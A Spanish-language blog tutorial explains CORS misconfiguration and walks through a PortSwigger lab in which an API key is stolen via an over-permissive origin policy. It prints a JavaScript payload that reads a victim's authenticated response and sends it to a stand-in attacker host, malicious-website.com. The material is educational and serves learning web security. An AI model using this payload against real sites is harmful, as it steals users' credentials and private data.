CORS (what is it?)

Uso compartido de recursos cruzados (CORS) es un mecanismo del navegador que permite el acceso controlado a recursos que están fuera de un dominio determinado.

En este caso no se trata de un ataque que pertenezca al TOP 10 de OWASP per se, pero sí que tiene que ver, ya que en algunos casos, si la política CORS no está correctamente configurada, sí que puede dar lugar a otros tipos de ataques catalogados en el TOP 10 de OWASP.

Imagen "cedida amablemente" por la gente de Portswigger

Esta política se añade junto con la SOP (Same Origin Policy) que restringe la capacidad de un sitio web para interactuar con recursos que están fuera del dominio de origen. Se configura para permitir que un dominio X realice peticiones a otros dominios, pero que no pueda acceder a las respuestas. Como la política SOP es "demasiado restrictiva", se utiliza CORS para que, a través de cabeceras HTTP, se puedan definir los orígenes que son confiables.

Actualmente se utiliza CORS para que se tenga acceso a subdominios o a otros dominios de terceros. Si la implementación es inadecuada o demasiado laxa, puede dar lugar a vulnerabilidades.

Por ejemplo:

GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

Respuesta:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...

Esto indica que se permite el acceso desde el dominio malicious-website.com y que las solicitudes entre dominios pueden incluir cookies (Access-Control-Allow-Credentials: true) y se procesarán durante la sesión.

En este caso, la aplicación permite orígenes arbitrarios en los encabezados, permitiendo que cualquier dominio pueda acceder a los recursos del dominio. Si la respuesta tuviese información confidencial, como un token CSRF o la clave de una API, se podría recuperar a través de un script, así:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};

Pero como siempre digo, dejemos la teoría (que está muy bien) y vamos a ver algo más real.

En el lab de Portswigger nos informan que la web tiene CORS mal configurado y confía en cualquier origen. Nos piden que recuperemos la clave API y que subamos el código al exploit server. Las credenciales son wiener:peter.

Hacemos login y vamos a ver la cuenta. Si revisamos la petición que se genera, podemos ver que en la respuesta aparece la cabecera Access-Control-Allow-Credentials: true. Si añadimos la cabecera origin con un dominio de prueba, podemos ver que en la respuesta está permitido.

Vale, ahora hay que crear el script para poder acceder a la API como vimos anteriormente. Como ya sabemos, hay que ir al exploit server, pegarlo allí y probarlo.

Esto nos abre una página con el log.

Hecho esto, volvemos a la página de exploit server y damos en Deliver exploit to victim. Una vez enviado, vamos a ver el log de nuevo y nos encontramos la siguiente línea:

Copiamos lo que está entre llaves y lo llevamos al decoder de Burp (o a tu decoder favorito).

Y para terminar, como siempre, damos en enviar respuesta, copiamos la API Key y terminamos el lab.

Como siempre, os recomiendo que realicéis el resto de laboratorios que tienen.

Nos vemos en la siguiente.